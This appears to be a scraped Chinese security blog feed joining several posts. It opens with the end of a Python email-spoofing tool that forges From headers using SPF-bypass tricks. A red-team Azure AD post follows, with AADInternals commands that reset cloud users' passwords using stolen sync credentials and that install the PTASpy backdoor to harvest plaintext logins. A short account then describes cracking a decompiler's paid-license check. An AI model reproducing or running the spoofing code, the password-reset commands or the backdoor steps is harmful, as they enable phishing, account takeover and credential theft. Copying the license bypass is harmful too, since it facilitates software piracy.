        print("    解释: 硬拒绝。明确告知收件方‘不在白名单的 IP 统统拒绝’。")
        print("    伪造难度: ⭐⭐⭐⭐⭐ (极高)")
        print("    注意: 除非你有 DMARC 绕过漏洞 (Header From 欺骗)，否则直接伪造 IP 会失败。")
        return False
    elif "~all" in spf_record:
        print("[!] 策略模式: Soft Fail (~all)")
        print("    解释: 软拒绝。不在白名单的 IP 也可以发，但会被标记为‘可疑’或垃圾邮件。")
        print("    伪造难度: ⭐⭐⭐ (一般)")
        print("    注意: 邮件能发出去，但大概率进垃圾箱。")
        return True
    elif "?all" in spf_record:
        print("[!] 策略模式: Neutral (?all)")
        print("    解释: 中立。不置可否，通常会被接收方放行进入收件箱。")
        print("    伪造难度: ⭐ (低)")
        return True
    elif "+all" in spf_record:
        print("[!!!] 策略模式: Allow All (+all)")
        print("    解释: 允许所有。大门敞开，任何人都可以合法伪造。")
        print("    伪造难度: ☠️ (无)")
        return True
    else:
        print("[?] 未检测到明确的 'all' 策略，默认安全策略未知，可能允许。")
        return True

def send_fake_email(sender_domain, sender_address, target_email, smtp_host, smtp_port, smtp_user, smtp_pass, use_ssl, obfuscate=False, sender_name="System Admin", exploit_type='none'):
    """
    发送邮件 function
    """
    # 如果未指定具体的发件人地址，默认伪造 admin@domain
    if not sender_address:
         sender_address = f"admin@{sender_domain}"

    subject = f"Work Report: {sender_domain}"
    body = f"""
    Hello,
    
    This is a routine system notification.
    
    Sender: {sender_address}
    Server: {smtp_host}
    
    Please confirm receipt.
    
    Best regards,
    {sender_name}
    """

    msg = MIMEMultipart()
    
    # --- 构造 From 头 (核心攻击逻辑) ---
    fake_from = formataddr((Header(sender_name, 'utf-8').encode(), sender_address))
    
    # 真实发件人 (用于欺骗过滤器) - 如果有认证用户，通常是认证用户
    real_user = smtp_user if smtp_user else sender_address
    real_from = formataddr((Header("Legit Sender", 'utf-8').encode(), real_user))

    if exploit_type == 'double-from':
        print("[!] 正在使用 USENIX'21 攻击: Double From Headers (双重头)")
        # 插入两个 From 头
        # 许多邮件系统在处理重复头时存在差异：有的看第一个，有的看最后一个。
        # 策略：第一个放伪造的（给用户看），第二个放真实的（给 SPF/DMARC 看）
        msg.add_header('From', fake_from) 
        msg.add_header('From', real_from)
        
    elif exploit_type == 'space-injection':
        print("[!] 正在使用 USENIX'21 攻击: Whitespace Injection (空格注入)")
        # 在邮箱地址尾部注入空格 "admin@baidu.com "
        # 某些解析器会包含空格导致正则匹配失败（从而绕过黑名单），但底层投递时又去掉空格。
        malformed_address = f"{sender_address} " # 注意这里的空格
        # 需要手动构造，因为 formataddr 可能会自动修正
        msg['From'] = f"{Header(sender_name, 'utf-8').encode()} <{malformed_address}>"
        
    elif obfuscate:
        # 腾讯云文章思路: From 字段名截断绕过
        print("[!] 正在应用 Header 混淆 (Padding)...")
        padding = " " * 500  
        display_name = f"{sender_name} from {sender_domain}" + padding
        msg['From'] = formataddr((display_name, sender_address))
    else:
        # 默认模式
        encoded_name = Header(sender_name, 'utf-8').encode()
        msg['From'] = formataddr((encoded_name, sender_address))
        
    msg['To'] = target_email
    msg['Subject'] = subject
    msg['Date'] = formatdate(localtime=True)
    msg.attach(MIMEText(body, 'plain'))

    print("\n" + "="*40)
    print(f"[*] 准备发送邮件...")
    print(f"    SMTP 服务器: {smtp_host}:{smtp_port} (SSL: {use_ssl})")
    print(f"    认证用户: {smtp_user if smtp_user else '无 (匿名)'}")
    print(f"    伪造发件人 (From): {sender_address}")
    print(f"    目标收件人 (To):   {target_email}")
    print("="*40)

    try:
        server = None
        if use_ssl:
            server = smtplib.SMTP_SSL(smtp_host, smtp_port, timeout=10)
        else:
            server = smtplib.SMTP(smtp_host, smtp_port, timeout=10)
            # 尝试 StartTLS
            try:
                server.starttls()
            except:
                pass 

        # 登录 (如果提供了密码)
        if smtp_user and smtp_pass:
            print("[*] 正在登录 SMTP 服务器...")
            server.login(smtp_user, smtp_pass)
            print("[+] 登录成功")

        # 发送
        # 注意: 真实的信封发件人 (MAIL FROM) 通常由 SMTP 服务器根据登录账号强制指定 (如 QQ 设置为登录邮箱)
        # 但我们可以在 DATA 内容中修改 'From' 头来尝试欺骗客户端显示
        
        # 为了测试“通过被盗用的/合法的SMTP服务器发送伪造邮件”，
        # 通常 SMTP 服务器会强制 MAIL FROM 为登录用户，但可能允许 Header From 不同。
        envelope_sender = smtp_user if smtp_user else sender_address

        server.sendmail(envelope_sender, target_email, msg.as_string())
        server.quit()
        print("[+] 邮件发送成功！请检查收件箱 (包括垃圾箱)。")
        
    except smtplib.SMTPAuthenticationError:
        print("[-] 认证失败：用户名或授权码错误。对于 QQ 邮箱，请确保使用的是授权码而不是 QQ 密码。")
    except Exception as e:
        print(f"[-] 发送失败: {str(e)}")

def main():
    parser = argparse.ArgumentParser(description="SPF 伪造测试工具 (支持 SMTP 认证)")
    
    parser.add_argument("domain", help="要测试的目标域名 (例如 company.com)")
    parser.add_argument("--to", help="接收测试邮件的邮箱地址")
    parser.add_argument("--sender", help="伪造的发件人地址 (可选，默认 admin@domain)")
    
    # SMTP 配置
    parser.add_argument("--smtp-host", default="127.0.0.1", help="SMTP 服务器地址 (默认 127.0.0.1)")
    parser.add_argument("--smtp-port", type=int, default=25, help="SMTP 端口 (QQ SSL 用 465)")
    parser.add_argument("--user", help="SMTP 认证用户名 (例如 your_qq@qq.com)")
    parser.add_argument("--password", help="SMTP 认证密码/授权码")
    parser.add_argument("--ssl", action="store_true", help="使用 SSL 连接 (QQ 邮箱必须开启)")
    parser.add_argument("--obfuscate", action="store_true", help="[进阶] 使用超长字符填充 From 头 (尝试绕过客户端显示)")
    parser.add_argument("--name", default="System Admin", help="伪造的发件人显示名称 (例如 'IT 安全中心')")
    parser.add_argument("--exploit-type", choices=['none', 'double-from', 'space-injection'], default='none', help="[核弹级] USENIX'21 论文攻击模式: double-from (双头欺骗), space-injection (空格注入)")

    args = parser.parse_args()

    # 自动处理用户可能输入的邮箱地址 (如 test@domain.com -> domain.com)
    if "@" in args.domain:
        print(f"[!] 检测到输入了邮箱地址 {args.domain}，自动截取域名部分...")
        args.domain = args.domain.split("@")[-1]

    # 步骤 1: 检查 SPF
    record = check_spf(args.domain)
    is_vulnerable = analyze_spf(record)

    # 步骤 2: 发送测试 (如果提供了接收者)
    if args.to:
        if not is_vulnerable:
             print("\n" + "!"*50)
             print("[警告] 该域名 SPF 配置非常严格 (-all)。")
             print("       直接的 IP 伪造大概率会失败 (550 Error) 或被拦截。")
             print("       除非你正在测试 'DMARC 绕过/信头欺骗' (使用真实账号发信)，否则请做好失败准备。")
             print("!"*50 + "\n")
             
        send_fake_email(
            sender_domain=args.domain, 
            sender_address=args.sender,
            target_email=args.to,
            smtp_host=args.smtp_host,
            smtp_port=args.smtp_port,
            smtp_user=args.user,
            smtp_pass=args.password,
            use_ssl=args.ssl,
            obfuscate=args.obfuscate,
            sender_name=args.name,
            exploit_type=args.exploit_type
        )
    else:
        print("\n[*] 未提供 --to 参数，仅进行 SPF 检查。如需发送测试，请添加该参数。")

if __name__ == "__main__":
    main()

‍

红队视角下的AzureAD攻防

Wed, 24 Dec 2025 00:00:00 GMT

红队视角下的AzureAD攻防

　　‍

AzureAD/Azure/AD

　　Azure AD，是微软提供的一种基于云的身份和访问管理 (IAM) 解决方案。它可以帮助组织安全地管理员工、合作伙伴和客户对应用程序和资源的访问。

　　注:2023 年 6 月 21 日起，Azure AD，现在正式更名为 Microsoft Entra ID，但是以下，我还是将他称为 AzureAD。

　　Microsoft Azure ID 的主要功能包括：

身份验证和授权： 验证用户身份并控制他们对资源的访问权限。
单点登录 (SSO)： 用户使用一组凭据访问多个应用程序。
多重身份验证 (MFA)： 通过要求额外的验证因素（如短信验证码或指纹）来增强安全性。
设备管理： 管理和保护连接到组织网络的设备。
自助服务密码重置： 用户可以自行重置密码，无需联系 IT 支持。
与本地 Active Directory 集成： 将云身份管理与本地身份管理相结合。

　　‍

AD or AAD？

　　这是一个很有趣的问题，首先分清楚两者之间的一个功能性概念。

　　AD:“Active Directory"的缩写，简单来说就是本地域服务，Windows Active Directory 主要使用 Kerberos 身份验证协议和 LDAP ，基于访问控制列表 ACL 作为其目录服务的一部分对用户进行身份验证。

　　AAD：”Azure Active Directory”利用的是 SAML、OAuth 2.0、OpenID Connect 协议基于角色访问控制 RBAC 模型和条件访问控制来完成。

| 特性 | Windows AD（Active Directory） | Azure AD（Microsoft Entra ID） | | --- | --- | --- | | 部署类型 | 本地部署，需要在组织的服务器上安装和维护 | 云部署，由 Microsoft 托管和维护 | | 主要用途 | 管理本地 Windows 环境中的用户、计算机和资源，例如文件服务器、打印机和应用程序 | 管理云应用程序和资源的访问，例如 Microsoft 365、Azure 服务和 SaaS 应用程序 | | 身份验证协议 | Kerberos、NTLM | SAML、WS-Federation、OAuth 2.0、OpenID Connect | | 目录结构 | 基于树状结构的组织单位 (OU) | 基于扁平结构的组 | | 组策略 | 支持组策略对象 (GPO)，用于集中管理 Windows 设置和配置 | 不直接支持组策略，但可以使用 Intune 等工具实现类似功能 | | 访问控制 | 基于访问控制列表 (ACL) | 基于角色的访问控制 (RBAC) 和条件访问策略 | | 单点登录 (SSO) | 支持本地应用程序的 SSO，但需要额外的配置 | 支持云应用程序的 SSO，通常开箱即用 | | 多重身份验证 (MFA) | 支持 MFA，但需要额外的配置 | 支持 MFA，并且易于配置 | | 自助服务 | 支持自助服务密码重置和解锁帐户，但需要额外的配置 | 支持自助服务密码重置、解锁帐户和注册设备，通常开箱即用 | | 许可模式 | 通常作为 Windows Server 操作系统的一部分提供，需要购买 Windows Server 许可证 | 提供免费版和付费版，付费版提供更多高级功能 | | 适用场景 | 适用于主要使用本地 Windows 应用程序和资源的组织，或者需要严格控制本地环境的组织 | 适用于主要使用云应用程序和资源的组织，或者需要灵活、可扩展的身份和访问管理解决方案的组织 | | 集成 | 可以与 Azure AD 集成，实现混合身份管理 | 可以与 Windows AD 集成，实现混合身份管理 | | 其他功能 | 提供其他功能，如 DNS、DHCP 和证书服务 | 提供其他功能，如设备管理、应用程序代理、自助服务组管理和动态组 |

　　所以 AD 和 AAD 不是一个完全相同的东西，唯一的相同之处就是都是一个提供信任服务的模式。

　　传统的 AD 模式更适合引管理本地域计算机,而 AAD 模式更适合管理需要频繁用到云上资源的场景。

　　这里又申引出来一个概念，即 Azure AD 和 Azure 的关系。

Azure or Azure AD？

　　Azure 是微软家族很大的一个云服务平台，而 AzureAD 只是其中的一个产品之一。

　　‍

　　从上述的图中我们可以看出 Azure 和 Azure AD 还有资源组之间的关系，

　　假设一个场景用户采用了混合身份环境，并且 office365 模式，那么 Azure AD 是负责云端身份验证，Azure AD 为 Office 365 提供身份验证和授权服务，其中通过 RBAC 模型来确定用户对 Azure 资源的访问权限，如果正确即可通过 Azure AD 的凭据登录 Office 365。

　　‍

　　那么什么是 RBAC 模型，我们接着往下看。

　　‍

RBAC

　　RBAC 是基于角色的访问控制服务，用于管理用户对 Azure 资源的访问，包括他们可以对这些资源做什么以及他们可以访问哪些区域。

　　RBAC 的核心概念：

角色 (Role): 一组权限的集合。例如，“虚拟机管理员”角色可能拥有创建、启动、停止虚拟机的权限。
权限 (Permission): 对特定资源执行特定操作的能力。例如，对虚拟机的“启动”权限。
分配 (Assignment): 将角色分配给用户或组，使用户或组继承该角色的所有权限。

　　‍

　　这张图展示了 Azure 基于角色的访问控制（RBAC）的工作原理，详细说明如下：

　　1. 安全主体（Security Principal）：

安全主体是可以分配 Azure 角色的实体，包括：
- 用户（User）：Azure AD 中的个人用户。
- 组（Group）：Azure AD 中的一组用户。
- 服务主体（Service Principal）：代表应用程序或服务的身份。
- 托管标识（Managed Identity）：Azure 资源的自动管理身份。
在图中，安全主体是一个名为“Marketing Group”的组。

　　2. 角色定义（Role Definition）：

角色定义是一组权限的集合，描述了拥有该角色的实体可以对 Azure 资源执行的操作。
Azure RBAC 提供了许多内置角色，例如：
- 拥有者（Owner）：对资源具有完全访问权限。
- 参与者（Contributor）：可以创建和管理资源，但不能授予访问权限。
- 读取者（Reader）：只能查看资源，不能修改。
还可以创建自定义角色，以满足特定的需求。
在图中，“Contributor”角色被分配给 Marketing Group，这意味着该组的成员可以对资源进行修改，但不能授予访问权限。

　　3. 角色分配（Role Assignment）：

角色分配是将角色定义与安全主体和作用域关联起来的过程。
通过角色分配，您可以控制哪些安全主体可以在哪些作用域内执行哪些操作。
在图中，"Contributor"角色被分配给 Marketing Group，作用域是名为"pharma-sales"的资源组。

　　4. 作用域（Scope）：

作用域是 RBAC 应用的范围，可以是：
- 管理组（Management Group）：包含多个订阅的容器。
- 订阅（Subscription）：Azure 服务的基本计费单位。
- 资源组（Resource Group）：包含相关 Azure 资源的逻辑容器。
- 单个资源（Individual Resource）：例如虚拟机、存储帐户等。
在图中，作用域是名为"pharma-sales"的资源组，这意味着 Marketing Group 的成员只能在这个资源组内行使"Contributor"角色的权限。

　　‍

　　同时一个一个 User/Group 是可以被多个 Role 所绑定的。

　　‍

ABAC

　　ABAC 是另一种访问控制模型，与 RBAC 相比，它提供了更细粒度、更灵活的权限管理方式。

　　ABAC 的核心概念：

属性 (Attribute): 描述主体（用户、组、应用程序等）、资源（文件、数据、服务等）或环境（时间、位置、网络等）的特征。例如，用户的部门、职称、安全许可等级，资源的类型、敏感度、创建日期，环境的 IP 地址、设备类型等。
策略 (Policy): 一组规则，定义了在满足特定条件时允许或拒绝访问。策略通常使用属性来表达条件，例如，“允许市场部员工在工作时间访问市场数据”。

　　‍

　　我用一个图来解释这种行为：

　　‍

允许访问市场数据： 这是策略的具体内容，说明了在什么条件下允许访问市场数据。
主体、资源、环境： 这是 ABAC 模型的三个核心要素，分别表示访问者、被访问对象和访问环境。
部门、数据类型、时间、星期几： 这是具体属性，用于描述主体、资源和环境的特征。
市场部、市场数据、9:00-17:00、周一-周五： 这是属性的具体值，用于限定访问条件。

　　逻辑关系就是：

　　只有当以下三个条件同时满足时，才允许访问市场数据：

主体的部门属性为“市场部”。
资源的数据类型属性为“市场数据”。
环境的时间属性在 9:00-17:00 之间，且星期几属性为周一至周五。

　　我认为这一块和基于资源的约束委派定义差不多。

　　‍

Azure AD Connect 架构与工作原理

Azure AD Connect 功能概述

　　Azure AD Connect 是微软提供的一个工具，用于在本地 Active Directory (AD) 和 Azure Active Directory (Azure AD) 之间建立混合身份集成。

　　Azure AD Connect 功能：

密码哈希同步 (Password Hash Synchronization, PHS): 将本地 AD 用户的密码哈希同步到 Azure AD，使用户可以使用相同的密码登录到本地和云端服务。
传递身份验证 (Pass-through Authentication, PTA): 允许用户使用其本地 AD 凭据直接登录到 Azure AD，无需在云端存储密码哈希。
联合身份验证 (Federation): 将身份验证请求重定向到本地 AD FS (Active Directory Federation Services) 或第三方身份提供商 (IdP)，实现更高级的身份验证和授权方案。

三种同步方式

PHS

哈希同步的原理和风险

　　密码哈希同步 (PHS) 是 AzureAD Connect 的一项功能- 它是最容易实现的身份验证选项，也是默认选项。PHS 的工作方式是，每当在本地更改密码时，来自 Active Directory 的密码哈希就会同步到 Azure AD 中。

　　注意点一点是，通过 Azure AD 修改用户密码时，新的密码不会同步回本地 AD。PHS 机制是单向的，仅支持将本地 AD 的密码哈希值同步到 Azure AD，而不支持从 Azure AD 同步回本地 AD。要使密码在 Azure AD 和本地 AD 之间双向同步，需使用其他机制如密码写回 (Password Writeback) 功能。然而，密码写回功能需要 Azure AD Premium P1 或 P2 许可证，并且需要在 Azure AD Connect 中配置。

　　‍

　　他的原理如下：

获取密码哈希： Azure AD Connect 从本地 Active Directory (AD) 中读取用户的密码哈希值。密码哈希是通过对用户密码应用单向加密算法（如 NTLM 或 Kerberos）生成的固定长度字符串。
处理密码哈希： 为了增强安全性，Azure AD Connect 会对获取到的密码哈希进行一些额外的处理，包括：
- 加盐 (Salting): 在密码哈希中添加随机字符串（盐），以防止彩虹表攻击。
- 不可逆加密： 对加盐后的密码哈希再次应用单向加密算法，使得无法从云端哈希还原出原始密码。
同步到 Azure AD： Azure AD Connect 将处理后的密码哈希安全地同步到 Azure AD，只同步自上次同步以来发生更改的密码哈希。
用户登录验证： 当用户尝试登录 Azure AD 或 Office 365 等云服务时，Azure AD 会将用户输入的密码进行相同的哈希处理，然后与存储在 Azure AD 中的密码哈希进行比较。如果两个哈希值匹配，则验证通过，允许用户登录。

　　同步操作会半小时进行一次，当加入混合模式后，会发生什么？

　　新增了一个 MSQL 标志的用户，当我们查看他拥有权限的时候会发生什么。

　　值得注意的是，此用户并不会同步到 AAD 里面去。

　　Azure AD Connect 默认会排除以下类型的账户：

内置管理员账户，如 Administrator
其他内置和系统账户
被禁用的账户

　　这一点可以 Get-ADSyncRule 来获取同步用户的规则。

　　所有 AD 域环境中的 Administrator、Guest 和 krbtgt 账户是不会同步上去的。

　　这些规则的设计目的是为了避免将一些系统账户、来宾账户或高权限账户同步到 Azure AD，从而保护 Azure AD 的安全性和稳定性。

　　如本文前面所述，Azure AD Connect 在本地 Active Directory 上创建了一个同步帐户。

　　由于他负责将用户密码哈希的哈希发送到云端，因此该用户在域上具有复制权限。

　　我们来看看他如何同步密码：

　　这段代码定义了一个名为 PasswordHashGenerator 的类，它是 ClearPasswordHashGenerator 的子类。PasswordHashGenerator 主要作用是生成密码哈希值，用于在 Azure AD Connect 中同步密码。

　　重新哈希过程由 OrgIdHashGenerator 类中的方法处理，OrgIdHashGenerator 类会对加盐后的哈希值应用 SHA256 算法，重复 1000 次。每次哈希都会将上一次的结果作为输入，从而产生一个更复杂、更难以破解的最终哈希值。

　　‍

　　我们来验证一下此过程，为了方便演示，我这里新增了一个 AD 域用户“lihua009”

　　然后强制发起一次同步流程。

　　dnspy 也已经停留在下断点的地方

　　来比较一下是否一致，

　　‍

滥用特权

　　那么之前我们提到的配置 PHS 之后会自动创建两个用户。

　　MSQL_会自动在本地 AD 中创建。此帐户被赋予__目录同步帐户角色（参见文档），这意味着它*_在本地 AD 中具有复制（DCSync）权限。

　　Sync*是在 Azure AD 中创建一个帐户。此帐户可以重置 Azure AD 中任何用户（同步或仅限云）的密码

　　这两个特权帐户的密码存储在安装 Azure AD Connect 的服务器上的 SQL 服务器中。

　　数据库位于。C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

　　ADsync 用户在本地是以服务账户进行启动的，参考如下：

　　Azure AD Connect 服务利用名为 NT SERVICE\ADSync 的虚拟服务帐户来执行服务进程 (miiserver.exe)。

　　当你拥有管理员权限并且在安装了 Azure AD Connect 的服务器上，就可以执行相关的命令。

　　可以使用 AADInternals 进行提取，如下图：

　　‍

　　获取到这些 sync 的凭据之后，可以直接利用令牌更改任何经过 AAD 同步用户的密码，如下：

# 获取全局管理员列表
$globalAdmins = Get-AADIntGlobalAdmins
Write-Output $globalAdmins

# 获取所有用户
$users = Get-AADIntUsers -AccessToken $token
Write-Output $users

　　‍

# 获取指定用户的 ImmutableId，替换为你的实际用户
$userPrincipalName = "lihua009@5tgyh1.onmicrosoft.com"
$user = Get-AADIntUser -UserPrincipalName $userPrincipalName | Select-Object -Property ImmutableId
Write-Output $user

# 使用 ImmutableId 重置用户密码，替换为你需要的新密码
$newPassword = "AbcdPass12343!@#"
Set-AADIntUserPassword -SourceAnchor $user.ImmutableId -Password $newPassword -Verbose

　　# 现在可以使用新密码访问 Azure AD，使用旧密码访问 op-prem（密码更改不同步）

　　因为我们是模拟了票据从 AAD 进行的密码修改，也没有开启密码写回，所以修改的此用户密码是无法登陆本地 AD 的。

　　‍

PHS 攻击面总结

　　那么我们总结一下 PHS 的一个概述

　　同步流程：

密码哈希的提取：
当用户在本地 AD 中创建或修改密码时，AD 会存储密码的哈希值（通常是 NTLM 哈希）。
哈希值的提取和处理：
Azure AD Connect 工具会定期从本地 AD 中提取这些密码哈希值。为了增强安全性，Azure AD Connect 不直接传输 NTLM 哈希，而是对其进行额外处理：
- 首先，Azure AD Connect 会对 NTLM 哈希值进行加盐和哈希处理，生成一个新的哈希值。
- 这个新的哈希值再经过 PBKDF2（Password-Based Key Derivation Function 2）加密算法处理，增加计算复杂度和安全性。
传输到 Azure AD：
处理后的哈希值通过加密的通道传输到 Azure AD。

　　工作流程：

定期同步：
Azure AD Connect 工具默认每 30 分钟进行一次同步。你也可以手动触发同步。
密码哈希的存储：
传输到 Azure AD 的密码哈希值被存储在 Azure AD 中，用于用户身份验证。

　　验证过程：

　　当用户尝试登录 Azure AD 资源（如 Office 365、Azure 门户等）时，身份验证过程如下：

用户输入密码：
用户在登录界面输入用户名和密码。
密码验证：
Azure AD 将用户输入的密码进行相同的哈希处理，并与存储在 Azure AD 中的密码哈希值进行比较。
- 如果哈希值匹配，则用户通过身份验证。
- 如果哈希值不匹配，则用户身份验证失败。

　　‍

　　同步机制：

本地 AD 密码修改：
当用户在本地 AD 中修改密码时，新的密码哈希值会在下次同步时传输到 Azure AD。
Azure AD 密码修改：
如果用户在 Azure AD 中修改密码，新的密码不会同步回本地 AD。这是因为 PHS 默认是单向同步机制。

　　‍

　　QA：

是否能攻击本地域：
这是有可能的，因为 PHS 是二次 hash 过程到云端，就算你的密码在 AAD 中被泄露，这也是难以逆向的。但是不排除你的 AAD 密码和 AD 密码是一致的。
sync 滥用拿到的 sync 权限对本地域用户也有权限吗可以直接导本地用户信息不：Sync 权限很高，可以理解为同步控制器，主要用于管理同步过程，将本地 AD 的数据同步到云端的 Azure AD。默认情况下，Sync 帐户在本地 AD 中只有只读权限，因此不能直接导出或更改本地 AD 用户信息，只能影响云端用户。然而，如果开启了密码写回功能，Sync 帐户会获得对本地 AD 用户进行写操作的权限，从而可以实现双向影响，即可以将云端的密码更改写回到本地 AD。因此，Sync 权限在这种情况下可以影响本地 AD 用户。这种情况下，可以影响本地 AD 用户信息。

　　‍

PTA

代理同步的原理和风险

　　来自文档: Azure Active Directory (Azure AD) Pass-through Authentication 允许用户使用相同的密码登录本地和基于云的应用程序。此功能为用户提供了更好的体验——少记一个密码，并减少了 IT 帮助台的成本，因为用户不太可能忘记如何登录。当用户使用 Azure AD 登录时，此功能直接针对本地 Active Directory 验证用户的密码。

　　在 PTA 中，身份是同步的，但密码不像在 PHS 中那样同步。

　　身份验证在本地 AD 中验证，与云的通信由运行在本地服务器上的身份验证代理完成（不需要在本地 DC 上）。

　　需要在 azure 中切换用户登陆方法为直通身份验证模式，如下图：

　　‍

　　官方的建议是在大型域情况下设置 4 台以上的 PTA 代理服务器,同时这些服务器的安全性建议设置为最高（当然 PTA 服务器越多，存在的可能攻击面就越大。）

　　‍

　　该 PTA 服务器关键进程如下：C:\Program Files\Microsoft Azure AD Connect Authentication Agent

　　其中负责同步的进程 AzureADConnectAuthenticationAgentService.exe

　　在进程的方法打个断点后发起一次强制流程看看。

　　‍

　　那么 PTS 是如何进行逻辑验证的呢，可以先看看他的代码，大概流程如下：

using System;
using System.Diagnostics;
using Microsoft.ApplicationProxy.Common.Utilities.Extensions;

namespace Microsoft.ApplicationProxy.Connector.DirectoryHelpers
{
    // 表示与 Active Directory 域交互的上下文。
    public class ActiveDirectoryDomainContext : IDomainContext
    {
        // 域名属性。
        public string Domain { get; private set; }

        // 构造函数，初始化域上下文。
        public ActiveDirectoryDomainContext(string domain, INativeMethodWrapper nativeMethodWrapper)
        {
            // 初始化 Domain 属性。如果域名为空或为 null，则设置为 null。
            this.Domain = (string.IsNullOrEmpty(domain) ? null : domain);
            // 初始化 nativeMethodWrapper 字段。
            this.nativeMethodWrapper = nativeMethodWrapper;
        }

        // 方法，用于验证用户凭据是否与 Active Directory 域匹配。
        public bool ValidateCredentials(string userPrincipalName, string password, out object errorCode)
        {
            bool result;
            try
            {
                // 验证 userPrincipalName 和 password 是否为 null 或空。
                userPrincipalName.ValidateNotNullOrEmpty("userPrincipalName");
                password.ValidateNotNullOrEmpty("password");

                // 检查域名是否有效。
                if (!this.ValidateDomainName())
                {
                    // 如果域名无效，则设置错误代码并返回 false。
                    errorCode = string.Format("InvalidDomainName:'{0}'", this.Domain);
                    result = false;
                }
                else
                {
                    // 尝试使用提供的凭据登录用户。
                    bool flag = this.LogonUser(userPrincipalName, password);

                    if (flag)
                    {
                        // 如果登录成功，将错误代码设置为 0。
                        errorCode = 0;
                    }
                    else
                    {
                        // 如果登录失败，获取最后的 Win32 错误代码并记录警告。
                        errorCode = this.nativeMethodWrapper.GetLastWin32Error();
                        Trace.TraceWarning("Logon user failed with error: '{0}'", new object[]
                        {
                            errorCode
                        });
                    }
                    result = flag;
                }
            }
            catch (Exception ex)
            {
                // 记录异常信息。
                Trace.TraceError("Unknown Exception was thrown for domain '{0}'. Ex: '{1}'", new object[]
                {
                    this.Domain,
                    ex
                });
                errorCode = ex.GetType().ToString();
                result = false;
            }
            return result;
        }

        // 私有方法，用于使用指定的用户凭据登录。
        private bool LogonUser(string userPrincipalName, string password)
        {
            SafeCloseHandle safeCloseHandle = null;
            bool result;
            try
            {
                // 调用 nativeMethodWrapper 的 LogonUser 方法进行登录。
                result = this.nativeMethodWrapper.LogonUser(userPrincipalName, this.Domain, password, 3U, 0U, out safeCloseHandle);
            }
            finally
            {
                // 确保释放 SafeCloseHandle 资源。
                if (safeCloseHandle != null)
                {
                    safeCloseHandle.Dispose();
                }
            }
            return result;
        }

        // 私有方法，用于验证域名的有效性。
        private bool ValidateDomainName()
        {
            // 检查域名是否为 '.'，如果是，则记录错误并返回 false。
            if (this.Domain != null && this.Domain.Equals("."))
            {
                Trace.TraceError("Failed to create domain context due to invalid domain. Domain: '{0}'", new object[]
                {
                    this.Domain
                });
                return false;
            }
            return true;
        }

        // 常量定义。
        private const uint LOGON32_PROVIDER_DEFAULT = 0U; // 默认的登录提供程序。
        private const uint LOGON32_LOGON_NETWORK = 3U; // 网络登录类型。
        private const string InvalidDomainNameErrorFormat = "InvalidDomainName:'{0}'"; // 无效域名错误格式。
        private const int SuccessCode = 0; // 成功代码。
      
        // 私有字段，用于封装本地方法调用。
        private readonly INativeMethodWrapper nativeMethodWrapper;
    }
}

　　代码说明：

ActiveDirectoryDomainContext 类:
- Domain 属性: 存储域名。
- 构造函数: 初始化 Domain 属性和 nativeMethodWrapper 字段。
ValidateCredentials 方法:
- 验证 userPrincipalName 和 password 是否有效。
- 检查域名是否有效。
- 尝试使用 LogonUser 方法登录用户。
- 根据登录结果设置 errorCode 并记录日志。
LogonUser 方法:
- 调用 nativeMethodWrapper 的 LogonUser 方法进行用户登录。
- 确保在完成后释放 SafeCloseHandle 资源。
ValidateDomainName 方法:
- 验证域名是否有效，如果域名为 . 则记录错误并返回 false。
常量和字段:
- LOGON32_PROVIDER_DEFAULT, LOGON32_LOGON_NETWORK, InvalidDomainNameErrorFormat, 和 SuccessCode 是常量定义，用于登录操作和错误处理。
- nativeMethodWrapper 用于封装对本地方法的调用。

　　‍

　　这意味着，当用户通过配置了 PTA 的 Azure AD 输入密码时，他们的凭据是以未加密的形式传输到 PTA 上，然后 PTA 根据 Active Directory 对其进行验证。那么，如果我们入侵了负责 Azure AD Connect 的服务器会怎么样？

　　显而易见，可以控制整个 PTA 服务器，并且所有通过该代理端点登陆的信息都会被截取。

　　‍

中间人/后门

　　正如前面所说的，这套流程会将本地的域信息通过 PTA 进行连接起来，那么特定情况下的攻击面就如下了：

　　当实际行动中拿到了运行 PTA 的代理服务器,并且有本地管理员的权限下可以进行后门做权限维持，其中,进程名为：AzureADConnectAuthenticationAgentService.exe。

　　‍

　　查找 AAD 中存在的 PTA 代理信息：

Import-Module AADInternals //导入模块
Get-AADIntProxyAgents //获取存在PTA的机器

　　实际作战中可以先找这些 PTA 机器作为维权的优先流程。

　　‍

　　参考：https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta

Install-AADIntPTASpy //注入恶意后门
Get-AADIntAccessTokenForPTA -SaveToCache

　　使用该命令后会创建一个隐藏文件夹 (C:\PTASPy)，并将 PTASpy.dll 复制到那里。

　　然后将 PTASpy.dll 注入正在运行的 AzureADConnectAuthenticationAgentService.exe。

　　安装后，PTASpy 会收集所有使用的凭据， 并将其与 Base64 编码的密码一起存储到 C:\PTASpy\PTASpy.csv。

　　值得一提的是，该 PTA 是默认后门的功能，没有去判断密码的正确。

　　‍

　　也可以使用使用 Get-AADIntPTASpyLog 读取明文的密码。

　　‍

　　未完待续。

　　‍

对一个微信小程序软件的逆向

Thu, 26 Jun 2025 00:00:00 GMT

对一个微信小程序软件的逆向

‍

0x01

因为最近有反编译微信小程序的需求，用了一个工具发现还不错，但是过了几天弹出了收费需求，感觉验证挺简单的。尝试破解一下。

因为运行之后在主程序上这是一个窗口，我不太懂逆向，根据我能理解的一点知识，我觉得或许能够将这个窗口给 push 掉。

‍

0X02

看到文件夹中的 pdb 和 DLL，猜测大概率是 C #写的，查了一下壳。#

‍

丢入 dnspy 查看一下，

‍

这个源码和接口明显就是混淆过的，感觉和 Net Reactor 的壳非常相似，尝试一下脱壳。

使用网上通用的 Net Reactor 脱壳方案即可脱壳成功，同时重新加载主程序进去看看。

这下代码都很正常了。

刚开始在主程序里面没有找到更新的那块代码,后来在 Common.dll 中找到了（同样混淆了，需要脱壳）

‍

打个断点跑一下代码，看看退出的时候会断在哪里。

‍

发现会上传挺多数据到服务器那边的，包含 BIOS USER 网卡 ID 主板编号 CPU 型号等信息，猜测应该是用作于支付后的状态确认。

如果打开支付页面变量会成为 true 如果直接退出则是 false，直接搜索这个方法去看看那块代码。

‍

程序更新也在这块代码里，逻辑也很简单。

一个 code 标志用于判断，如果 code 是-45 则打开赞助窗口，如果是 0，则进入下一步。

那这样破解思路也很简单了，只需要把他这块判断全部 nop 掉，然后最后填充一个 0 保持他原本的代码完整可以通过验证逻辑就行。

‍

完事。

‍

记一次钓鱼邮件溯源

Sat, 07 Jun 2025 00:00:00 GMT

0X01

